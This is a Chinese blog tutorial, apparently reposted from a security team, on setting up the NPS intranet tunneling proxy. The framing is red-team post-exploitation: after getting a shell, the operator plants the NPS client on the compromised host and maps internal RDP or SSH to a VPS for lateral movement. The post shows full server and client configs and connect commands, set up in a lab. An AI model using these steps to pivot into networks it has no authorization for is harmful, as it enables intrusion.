NPS内网穿透工具使用详解
2023-4-7 00:1:47 Author: 白帽子(查看原文) 阅读量:23 收藏

在红队HW中通过前期的打点获得shell后通常下一步就是对内网进行横向,获得shell进想要行横向的前提是我们必须有代理可以访问内网中的资产,这时候我们就需要通过拿到shell的那台机器权限,在此台机上传代理工具进行配置搭建内网代理,目的达到内网出网的效果,使我们能够进行下一步的内网横向渗透。在hw中经常用到的代理工具有很多,根据不同之需和个人不同的使用习惯选择不同工具进行使用,本文主要对NPS这款代理工具进行介绍。
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
工具获取:https://github.com/ehang-io/nps
特点:
  1. 支持多种协议,兼容几乎所有常用协议,例如tcp,udp,http(s),socks5,p2p,http代理…
  2. 全面的平台兼容性(Linux,Windows,MacOS,Synology等),仅支持将安装作为系统服务进行。
  3. 全面控制,允许客户端和服务器控制。
  4. Https集成,支持将后端代理和Web服务转换为https,并支持多个证书。
  5. 只需在Web ui上进行简单配置即可完成大多数要求。
  6. 完整的信息显示,例如流量,系统信息,实时带宽,客户端版本等。
  7. 强大的扩展功能,一切可用(缓存,压缩,加密,流量限制,带宽限制,端口重用等)
  8. 域名解析具有诸如自定义标题,404页面配置,主机修改,站点保护,URL路由和全景解析之类的功能。
  9. 服务器上的多用户和用户注册支持。
NPS代理需要借助VPS进行中转,首先我们要根据VPS的系统和内网客户端系统下载对应的nps程序。这里我使用腾讯云的VPS作为服务端,系统为Ubuntu 18.04,内网分别采用VMware中centOS 7和Windows 7进行模拟,将内网代理到本地。

环境模拟1-客户端配置文件模式

环境拓扑:
  1. 服务端部署

根据vps的系统下载服务端程序并上传至vps,本文中使用的腾讯云Ubuntu18.04作为vps下载使用了安装包linux_amd64_server.tar.gz

解压文件包结构如下:
linux_amd64_server/ - conf ##配置文件目录 - web ##web文件目录 - nps ##nps运行文件
进入conf目录,可编辑nps.conf配置文件对部分选项进行配置,默认运行不需要进行任何配置即可运行
默认配置运行nps服务端启动会占用80,8080,8024端口,可根据需求对配置进行修改。
appname = nps#Boot mode(dev|pro)#启动模式runmode = dev
#HTTP(S) proxy port, no startup if empty#HTTP(S)代理端口,如果为空则不启动http_proxy_ip=0.0.0.0http_proxy_port=8081 #http监听端口,默认80https_proxy_port=443https_just_proxy=true#default https certificate setting#默认HTTPS证书设置https_default_cert_file=conf/server.pemhttps_default_key_file=conf/server.key
##bridge##桥接bridge_type=tcpbridge_port=8024 ##客户端与服务端连接端口bridge_ip=0.0.0.0
# Public password, which clients can use to connect to the server# 公共密码,客户端可以使用它连接到服务器# After the connection, the server will be able to open relevant ports and parse related domain names according to its own configuration file.# 连接完成后,服务器就可以打开相关端口,根据自己的配置文件解析相关域名。public_vkey=123
#Traffic data persistence interval(minute)#流量数据持续时间间隔(分钟)#Ignorance means no persistence#flow_store_interval=1
# log level LevelEmergency->0 LevelAlert->1 LevelCritical->2 LevelError->3 LevelWarning->4 LevelNotice->5 LevelInformational->6 LevelDebug->7# 日志等级设置log_level=7#log_path=nps.log
#Whether to restrict IP access, true or false or ignore#是否限制IP访问,true、false或ignore#ip_limit=true
#p2p代理#p2p_ip=127.0.0.1#p2p_port=6000
#webweb_host= ##web管理端登录地址URLweb_username=admin ##web管理端登录名web_password=123 ##web管理端登录密码(注:正式环境建议更改)web_port = 8080 ##web管理端访问端口web_ip=0.0.0.0 ##web管理端登录地址默认0.0.0.0不需要修改web_base_url= ##管理端web路径,默认不需要指定web_open_ssl=false #管理端是否开启sslweb_cert_file=conf/server.pemweb_key_file=conf/server.key# if web under proxy use sub path. like http://host/nps need this.#web_base_url=/nps
#Web API unauthenticated IP address(the len of auth_crypt_key must be 16)#Remove comments if needed#auth_key=testauth_crypt_key =1234567812345678
#allow_ports=9001-9009,10001,11000-12000
#Web management multi-user login#Web管理多用户登录allow_user_login=falseallow_user_register=falseallow_user_change_username=false

#extensionallow_flow_limit=falseallow_rate_limit=falseallow_tunnel_num_limit=falseallow_local_proxy=falseallow_connection_num_limit=falseallow_multi_ip=falsesystem_info_display=false
#cachehttp_cache=falsehttp_cache_length=100
#get origin iphttp_add_origin_header=false
#pprof debug options#pprof_ip=0.0.0.0#pprof_port=9999
#client disconnect timeout#客户端断开连接超时disconnect_timeout=60
运行服务端./nps
访问服务端


2.客户端部署

客户端使用虚拟机win7模拟内网,下载对应版本客户端程序windows_amd64_client.tar.gz上传至内网主机
解压文件包结构如下:
- conf #客户端配置文件夹 - npc.exe #客户端运行程序
下载好客户端程序后解压压缩包,在客户端配置文件夹conf中找到npc.conf配置文件进行编辑。
这里我们使用客户端配置文件模式将客户端内网3389映射到公网vps43389端口实现远程访问内网主机。

3.客户端详细配置

在配置文件中将[common]和[tcp]之外的参数项删除,本次通过TCP代理实现内网3389端口映射,配置如下:
[common]server_addr=1.1.1.1:8024 ## 服务端vps ip/域名:portconn_type=tcp ## 通信模式与服务端配置bridge中bridge_type=tcp设为一致vkey=w4c7qokkqsfqzxeg ## 端配置文件中的服务密钥,手动指定auto_reconnection=true ## 断线重连max_conn=1000 flow_limit=1000rate_limit=1000basic_username=11 ## 代理认证用户名basic_password=3 ## 代理认证密码web_username=userweb_password=1234crypt=true ## 加密传输compress=true ## 压缩传输#pprof_addr=0.0.0.0:9999disconnect_timeout=60
[tcp]mode=tcptarget_addr=192.168.138.135:3389 ##内网服务地址 ip:portserver_port=43389 ##映射到vps端口


4.建立连接

登录服务端web控台,在“客户端-客户端列表”添加新增
添加设置如下图所示,注意:basic用户名和密码需与上文客户端配置中basic_username/basic_password一致、唯一验证秘钥有客户端配置中vkey一致。
保存后,继续新建连接隧道
在隧道列表中新增
设置代理模式、服务端口和内网地址
完成如上配置后,在客户端运行npc.exe
访问测试连接成功

通过客户端配置文件进行连接的方式需要修改配置文件的相关参数项,上文模拟中介绍了通过TCP代理内网3389的方式,在实际使用需求中对于其他代理模式配置大同小异,只需要在客户端配置选项中保留需要使用的代理模式参数进行配置,删除其他模式参数,在web管理端新建隧道选择相对应的代理模式即可。其他代理模式详细配置不再详细描述。

环境模拟2-客户端无配置文件模式

环境拓扑:


1.服务端部署

服务端的部署与上文相同不再重复说明。
在服务端web管理新建一个客户端连接。

填写新建参数,选择不通过客户端配置文件连接
新建完成后点击列表中的“+”号展开详情
在详情中给出客户端连接命令,注意这里给出的命令为linux运行命令,如果客户端使用Windows客户端时运行npc.exe
./npc -server=81.0.0.0:8024 -vkey=qwertasdfg -type=tcp ##linuxnpc.exe -server=81.0.0.0:8024 -vkey=qwertasdfg -type=tcp ##windows

2.客户端部署

下载客户端对应的版本

上传至客户端进行解压
tar -zxvf linux_amd64_client.tar.gz
解压后不需要对配置文件进行修改。

3.建立连接

在客户端执行连接命令
./npc -server=81.0.0.0:8024 -vkey=qwertasdfg -type=tcp
刷新web管理页面查看连接成功
新建隧道设置代理模式使用TCP代理,设置服务端映射端口,内网ip服务端口

配置完成后本地使用vpsip映射端口访问内网ssh进行测试,如下图代理成功
其他代理模式设置在新建隧道时选择进行配置即可,不再一一列举
使用nps时需要注意的问题:服务端默认配置启用了8024、80、443端口,如果端口冲突将导致无法启动,请注意修改配置。注意检查安全组防火墙规则,在nps使用过程中放相应的端口。
nps代理工具的部署使用配置相对于其他代理工具来说操作简单,nps服务端支持多客户端连接能够实时统计流量情况,通过web管理端更友好的管理。

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章400余篇,自研平台达到31个,目有18个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246618&idx=2&sn=acfb5d38723b2f17de50cca000ca043f&chksm=82ea5673b59ddf659361618cf12b23ac33a2f1ccc2ce90b913a1fc8b81c14eb42eccfb41cb98#rd
如有侵权请联系:admin#unsafe.sh